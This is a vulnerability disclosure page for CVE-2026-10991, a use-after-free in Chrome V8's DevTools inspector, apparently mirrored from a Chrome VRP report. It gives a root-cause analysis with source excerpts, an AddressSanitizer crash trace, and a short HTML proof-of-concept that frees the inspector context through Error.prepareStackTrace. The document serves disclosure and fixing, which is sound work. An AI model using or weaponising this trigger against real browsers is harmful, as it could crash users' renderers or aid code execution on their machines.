Skip to content
Memory corruption Advisory Advanced CVE-2026-10991

Use after free in V8 (CVE-2026-10991)

A heap-use-after-free occurs in the V8 inspector's InjectedScript when a synchronous JavaScript callback (Error.prepareStackTrace) destroys the owning InspectedContext during object wrapping. An attacker could reclaim the freed renderer-heap object from controlled JavaScript and potentially achieve renderer code execution with a crafted vtable.

Alisa Esage Follow

Originally disclosed on Chrome VRP

Bounty$3,000 Medium View original
  • Fix shipped in 47 days

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

Please provide a brief explanation of the security issue.

Summary

Heap-use-after-free in InjectedScript::wrapObjectMirror. The v8_inspector::InjectedScript object is freed when its owning InspectedContext is destroyed during a synchronous JavaScript callback. The freed allocation is a renderer-heap object reclaimable from controlled JavaScript, exploitable for renderer code execution with a crafted vtable.

Minimal testcase:

HTML
<iframe srcdoc="<script>
setTimeout(function(){
  Error.prepareStackTrace=function(){self.frameElement.remove();return''};
  (function(){var e=new Error;debugger})()
},500)
</script>"></iframe>

Analysis

Chrome DevTools exposes the Runtime CDP domain through the V8 inspector. Value wrapping and expression evaluation are handled by InjectedScript, a per-session scripting interface that produces RemoteObjects for the frontend. Each InjectedScript is scoped to a single JS context, which the inspector tracks as an InspectedContext. The InspectedContext owns all InjectedScript instances associated with that context.

InjectedScript instances are stored as unique_ptr values in InspectedContext::m_injectedScripts (inspected-context.h:86):

C++
// inspected-context.h:70
class InspectedContext {
  [...]
 private:
  [...]
  std::unordered_map<int, std::unique_ptr<InjectedScript>> m_injectedScripts;  // line 86
  [...]
};

The inspector session obtains a raw pointer via findInjectedScript (v8-inspector-session-impl.cc:229):

C++
// v8-inspector-session-impl.cc:229
Response V8InspectorSessionImpl::findInjectedScript(
    int contextId, InjectedScript*& injectedScript) {
  injectedScript = nullptr;
  std::shared_ptr<InspectedContext> context =       // local shared_ptr
      m_inspector->getContext(m_contextGroupId, contextId);
  if (!context)
    return Response::ServerError("Cannot find context with specified id");
  injectedScript = context->getInjectedScript(m_sessionId);
  if (!injectedScript) {
    injectedScript = context->createInjectedScript(m_sessionId);
    [...]
  }
  return Response::Success();
}  // shared_ptr destroyed here — no owner remains

The shared_ptr<InspectedContext> exists only for the duration of this function. The caller receives a raw InjectedScript* and stores it in the Scope object (injected-script.h:174):

C++
// injected-script.h:78
class InjectedScript final {
  [...]
  class Scope {  // line 154
    [...]
   protected:
    V8InspectorImpl* m_inspector;
    InjectedScript* m_injectedScript;   // raw pointer — no shared_ptr<InspectedContext>
    [...]
  };
  [...]
};

Once findInjectedScript returns, nothing holds the InspectedContext alive. InjectedScript is unique_ptr-owned by InspectedContext, so destroying the context frees the InjectedScript with it. The vulnerability window is any wrapping operation that can reach user JavaScript while the raw InjectedScript* is live. wrapObject is one such site (injected-script.cc:610):

C++
// injected-script.cc:610
Response InjectedScript::wrapObject(
    v8::Local<v8::Value> value, const String16& groupName,
    const WrapOptions& wrapOptions,
    v8::MaybeLocal<v8::Value> customPreviewConfig, int maxCustomPreviewDepth,
    std::unique_ptr<protocol::Runtime::RemoteObject>* result) {
  v8::Local<v8::Context> context = m_context->context();  // valid use
  v8::Context::Scope contextScope(context);
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // ← sync JS entry
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, groupName, wrapOptions, customPreviewConfig,
                          maxCustomPreviewDepth, result);  // ← UAF site
}

The PoC demonstrates a scenario where DevTools sends Runtime.getProperties while paused in the iframe context. getProperties builds property mirrors for the paused scope's local variables, then calls wrapObjectMirror directly for each (injected-script.cc:450):

C++
// injected-script.cc:440
for (const PropertyMirror& mirror : mirrors) {
  [...]
  if (mirror.value) {
    Response response = wrapObjectMirror(
        *mirror.value, groupName, wrapOptions, v8::MaybeLocal<v8::Value>(),
        kMaxCustomPreviewDepth, &remoteObject);
    [...]
  }
  [...]
}

wrapObjectMirror calls ValueMirror::getProperties to enumerate the object's properties. Inside that loop, each property's value mirror is created via ValueMirror::create (value-mirror.cc:1613):

C++
// value-mirror.cc:1613
if (!descriptor.value.IsEmpty()) {
  valueMirror = ValueMirror::create(context, descriptor.value);  // ← escape point
}

For the local Error variable, descriptor.value is the Error object. ValueMirror::create dispatches to descriptionForError for IsNativeError() values (value-mirror.cc:1807):

C++
// value-mirror.cc:1807
std::unique_ptr<ValueMirror> ValueMirror::create(v8::Local<v8::Context> context,
                                                 v8::Local<v8::Value> value) {
  [...]
  if (!value->IsObject()) return nullptr;
  v8::Local<v8::Object> object = value.As<v8::Object>();
  [...]
  if (object->IsNativeError()) {
    return std::make_unique<ObjectMirror>(object,
                                          RemoteObject::SubtypeEnum::Error,
                                          descriptionForError(context, object));
  }
  [...]
}

descriptionForError builds the display string, reading .name, .message, and .stack from the Error object. The .stack read is where control reaches user JavaScript (value-mirror.cc:305):

C++
// value-mirror.cc:305
String16 descriptionForError(v8::Local<v8::Context> context,
                             v8::Local<v8::Object> object) {
  [...]
  {
    v8::Local<v8::Value> stackValue;
    if (getErrorProperty(context, object, toV8String(isolate, "stack"))
            .ToLocal(&stackValue) && stackValue->IsString()) { [...] }
  }
  [...]
}

Note that getErrorProperty attempts to prevent user code execution by checking whether the property is backed by a user-defined getter (value-mirror.cc:261), which my testcase bypasses:

C++
// value-mirror.cc:261
v8::MaybeLocal<v8::Value> getErrorProperty(v8::Local<v8::Context> context,
                                           v8::Local<v8::Object> object,
                                           v8::Local<v8::String> name) {
  v8::Isolate* isolate = v8::Isolate::GetCurrent();
  v8::TryCatch tryCatch(isolate);
  v8::MicrotasksScope microtasksScope(context,
                                      v8::MicrotasksScope::kDoNotRunMicrotasks);
  v8::Local<v8::Value> descriptor;
  if (!object->GetOwnPropertyDescriptor(context, name).ToLocal(&descriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptor->IsObject()) return object->Get(context, name);

  v8::Local<v8::Object> descriptorObject = descriptor.As<v8::Object>();
  v8::Local<v8::Value> getDescriptor;
  if (!descriptorObject->HasOwnProperty(context, toV8String(isolate, "get"))
           .FromJust()) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptorObject->Get(context, toV8String(isolate, "get"))
           .ToLocal(&getDescriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }

  if (getDescriptor->IsFunction()) {
    v8::Local<v8::Function> function = getDescriptor.As<v8::Function>();
    if (deepBoundFunction(function)->ScriptId() !=
        v8::UnboundScript::kNoScriptId) {
      return v8::MaybeLocal<v8::Value>();  // skip user-defined getters
    }
  }

  return object->Get(context, name);  // (→ ErrorStackGetter)
}

The function installs a kDoNotRunMicrotasks scope and tries to detect user-defined getters by checking the getter's ScriptId: if it is not kNoScriptId, it belongs to user code and is skipped. However, .stack on a native Error is not a user-defined getter — it is a FunctionTemplate-backed C++ accessor installed by V8 at bootstrap, which carries no script ID. The guard evaluates to false, and the function falls through to object->Get(context, name).

The stack property is installed on every Error subtype's initial map as an AccessorPair backed by a FunctionTemplate (bootstrapper.cc:1582):

C++
// bootstrapper.cc:1582
{  // stack
  DirectHandle<AccessorPair> new_pair = factory->NewAccessorPair();
  new_pair->set_getter(*factory->error_stack_getter_fun_template());
  new_pair->set_setter(*factory->error_stack_setter_fun_template());
  Descriptor d = Descriptor::AccessorConstant(factory->stack_string(),
                                              new_pair, DONT_ENUM);
  initial_map->AppendDescriptor(isolate, &d);
}

The getter template wraps Accessors::ErrorStackGetter (setup-heap-internal.cc:1527):

C++
// setup-heap-internal.cc:1527
// Error.stack accessor callbacks and their SharedFunctionInfos:
{
  function_template = ApiNatives::CreateAccessorFunctionTemplateInfo(
      isolate_, Accessors::ErrorStackGetter, 0,
      SideEffectType::kHasSideEffect);
  [...]
  set_error_stack_getter_fun_template(*function_template);
}

ErrorStackGetter calls ErrorUtils::GetFormattedStack → FormatStackTrace, which invokes the user-supplied Error.prepareStackTrace synchronously (accessors.cc:905):

C++
// accessors.cc:905
void Accessors::ErrorStackGetter(
    const v8::FunctionCallbackInfo<v8::Value>& info) {
  [...]
  if (IsJSObject(*maybe_error_object)) {
    if (!ErrorUtils::GetFormattedStack(isolate,
                                       Cast<JSObject>(maybe_error_object))
             .ToHandle(&formatted_stack)) {
      return;
    }
  }
  [...]
}

The kDoNotRunMicrotasks scope provides no protection here — microtask suppression does not prevent synchronous C++ callbacks from calling into user JavaScript.

The user's prepareStackTrace callback calls self.frameElement.remove(). This triggers a synchronous frame detach in Blink, which reaches the V8 inspector's context teardown freeing the object. Call flow:

→ V8InspectorImpl::contextDestroyed             (v8-inspector-impl.cc:303)
  → contextCollected                            (v8-inspector-impl.cc:309)
    → discardInspectedContext                   (v8-inspector-impl.cc:441)
      → m_contexts[groupId]->erase(contextId)  // map ref dropped; 2 locals still alive
    ← discardInspectedContext returns           // its shared_ptr dies → refcount 1
  ← contextCollected returns                   // its shared_ptr dies → refcount 0
    → ~InspectedContext                         (inspected-context.cc:105)
      → ~m_injectedScripts                      // unordered_map<int, unique_ptr<InjectedScript>>
        → ~InjectedScript                       ← freed

When prepareStackTrace returns, execution unwinds back through FormatStackTrace → ErrorStackGetter → object->Get → getErrorProperty → descriptionForError → ValueMirror::create, and arrives back in wrapObject (injected-script.cc:610):

C++
// injected-script.cc:610
Response InjectedScript::wrapObject(...) {
  [...]
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // returns here
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, ...);  // method call on freed `this`
}

wrapObjectMirror reads m_customPreviewEnabled and m_sessionId from the freed object, then dereferences m_context (injected-script.cc:623):

C++
// injected-script.cc:623
Response InjectedScript::wrapObjectMirror(...) {
  int customPreviewEnabled = m_customPreviewEnabled;
  int sessionId = m_sessionId;
  v8::Local<v8::Context> context = m_context->context();  // UAF: this and m_context freed

This causes a re-use of unowned memory behind the freed InjectedScript object.

VERSION

Chrome Version: 149.0.7779.0 (Developer Build with AddressSanitizer) (arm64)
Operating System: macOS Version 15.6 (Build 24G84)

REPRODUCTION CASE

Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.

Steps to reproduce

  1. python server.py
  2. Open DevTools in Chrome
  3. Navigate to localhost:8080/poc.html

Expectation: instant crash under asan (Sad Tab), 100% reliable

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer process
Crash State:

C++
=================================================================
==7173==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000e9948 at pc 0x000306717170 bp 0x00016f8a0290 sp 0x00016f8a0288
READ of size 1 at 0x6110000e9948 thread T0
==7173==WARNING: invalid path to external symbolizer!
==7173==WARNING: Failed to use and restart external symbolizer!
    #0 0x00030671716c in v8_inspector::InjectedScript::wrapObjectMirror(v8_inspector::ValueMirror const&, v8_inspector::String16 const&, v8_inspector::WrapOptions const&, v8::MaybeLocal<v8::Value>, int, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::RemoteObject, std::__Cr::default_delete<v8_inspector::protocol::Runtime::RemoteObject>>*)+0xbfc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x671716c)
    #1 0x0003067150e8 in v8_inspector::InjectedScript::getProperties(v8::Local<v8::Object>, v8_inspector::String16 const&, bool, bool, bool, v8_inspector::WrapOptions const&, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::ExceptionDetails, std::__Cr::default_delete<v8_inspector::protocol::Runtime::ExceptionDetails>>*)+0x504 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67150e8)
    #2 0x0003067ecb54 in v8_inspector::V8RuntimeAgentImpl::getProperties(v8_inspector::String16 const&, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::ExceptionDetails, std::__Cr::default_delete<v8_inspector::protocol::Runtime::ExceptionDetails>>*)+0x2c4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67ecb54)
    #3 0x0003066fe948 in v8_inspector::protocol::Runtime::DomainDispatcherImpl::getProperties(v8_crdtp::Dispatchable const&)+0x2b0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x66fe948)
    #4 0x000306833890 in v8_crdtp::UberDispatcher::DispatchResult::Run()+0x74 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x6833890)
    #5 0x0003067d7f48 in v8_inspector::V8InspectorSessionImpl::dispatchProtocolMessage(v8_inspector::StringView)+0x3cc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67d7f48)
    #6 0x00031e6bee58 in blink::DevToolsSession::DispatchProtocolCommandImpl(int, blink::String const&, base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>)+0x3cc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e6bee58)
    #7 0x00031e6bf438 in non-virtual thunk to blink::DevToolsSession::DispatchProtocolCommand(int, blink::String const&, base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>)+0x19c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e6bf438)
    #8 0x00030c40f52c in blink::mojom::blink::DevToolsSessionStubDispatch::Accept(blink::mojom::blink::DevToolsSession*, mojo::Message*)+0x290 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xc40f52c)
    #9 0x000312accf04 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*)+0x8fc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12accf04)
    #10 0x000312ae1ebc in mojo::MessageDispatcher::Accept(mojo::Message*)+0x2f0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12ae1ebc)
    #11 0x000312ad20f8 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*)+0x148 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12ad20f8)
    #12 0x0003160e50a4 in IPC::ChannelAssociatedGroupController::AcceptOnEndpointThread(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification)+0x3e8 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x160e50a4)
    #13 0x0003160e70c8 in base::internal::Invoker<base::internal::FunctorTraits<void (IPC::ChannelAssociatedGroupController::*&&)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), IPC::ChannelAssociatedGroupController*&&, mojo::Message&&, IPC::(anonymous namespace)::ScopedUrgentMessageNotification&&>, base::internal::BindState<true, true, false, void (IPC::ChannelAssociatedGroupController::*)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), scoped_refptr<IPC::ChannelAssociatedGroupController>, mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification>, void ()>::RunOnce(base::internal::BindStateBase*)+0x1bc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x160e70c8)
    #14 0x000312cc483c in base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+0x348 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12cc483c)
    #15 0x000312d2c508 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+0x88c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2c508)
    #16 0x000312d2b8c0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+0x138 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2b8c0)
    #17 0x000312bab74c in base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+0x228 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12bab74c)
    #18 0x000312d2d8bc in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta)+0x380 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2d8bc)
    #19 0x000312c51a8c in base::RunLoop::Run(base::Location const&)+0x430 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12c51a8c)
    #20 0x00031c78ea10 in content::(anonymous namespace)::NestedMessageLoopRunnerImpl::Run()+0x198 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c78ea10)
    #21 0x0003210f9f98 in blink::ClientMessageLoopAdapter::RunLoop(blink::WebLocalFrameImpl*)+0x568 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x210f9f98)
    #22 0x00030679d7bc in v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool)+0x6b0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x679d7bc)
    #23 0x0003046889d4 in v8::internal::Debug::OnDebugBreak(v8::internal::DirectHandle<v8::internal::FixedArray>, v8::internal::StepAction, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x594 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46889d4)
    #24 0x0003046a0cb0 in v8::internal::Debug::HandleDebugBreak(v8::internal::IgnoreBreakMode, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x814 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46a0cb0)
    #25 0x0003056892e0 in v8::internal::Runtime_HandleDebuggerStatement(int, unsigned long*, v8::internal::Isolate*)+0x9c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x56892e0)
    #26 0x0003f7e7bd48  (<unknown module>)
    #27 0x0003f7f87cb8  (<unknown module>)
    #28 0x0003f7dce344  (<unknown module>)
    #29 0x0003f7dce344  (<unknown module>)
    #30 0x0003f7dcb340  (<unknown module>)
    #31 0x0003f7dcb038  (<unknown module>)
    #32 0x0003047705c4 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x1b90 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47705c4)
    #33 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #34 0x0003043b141c in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*)+0x3a0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x43b141c)
    #35 0x00031c8e5f78 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*)+0x590 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c8e5f78)
    #36 0x000321221b38 in blink::bindings::CallbackInvokeHelper<blink::CallbackFunctionBase, (blink::bindings::CallbackInvokeHelperMode)0, (blink::bindings::CallbackReturnTypeIsPromise)0>::Call(int, v8::Local<v8::Value>*)+0x210 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21221b38)
    #37 0x0003212365c8 in blink::V8Function::Invoke(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x534 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x212365c8)
    #38 0x000321236d58 in blink::V8Function::InvokeAndReportException(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x184 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21236d58)
    #39 0x0003221f2530 in blink::ScheduledAction::Execute(blink::ExecutionContext*)+0x45c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f2530)
    #40 0x0003221f7b28 in blink::DOMTimer::Fired()+0x500 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f7b28)
    #41 0x00032044613c in blink::TimerBase::RunInternal()+0xb0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2044613c)
    #42 0x00031c85c040 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::TimerBase::*&&)(), blink::TimerBase*>, base::internal::BindState<true, true, false, void (blink::TimerBase::*)(), blink::UnretainedWrapper<blink::TimerBase>>, void ()>::RunOnce(base::internal::BindStateBase*)+0x11c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c85c040)
    #43 0x000312cc483c in base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+0x348 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12cc483c)
    #44 0x000312d2c508 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+0x88c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2c508)
    #45 0x000312d2b8c0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+0x138 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2b8c0)
    #46 0x000312bab74c in base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+0x228 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12bab74c)
    #47 0x000312d2d868 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta)+0x32c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2d868)
    #48 0x000312c51a8c in base::RunLoop::Run(base::Location const&)+0x430 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12c51a8c)
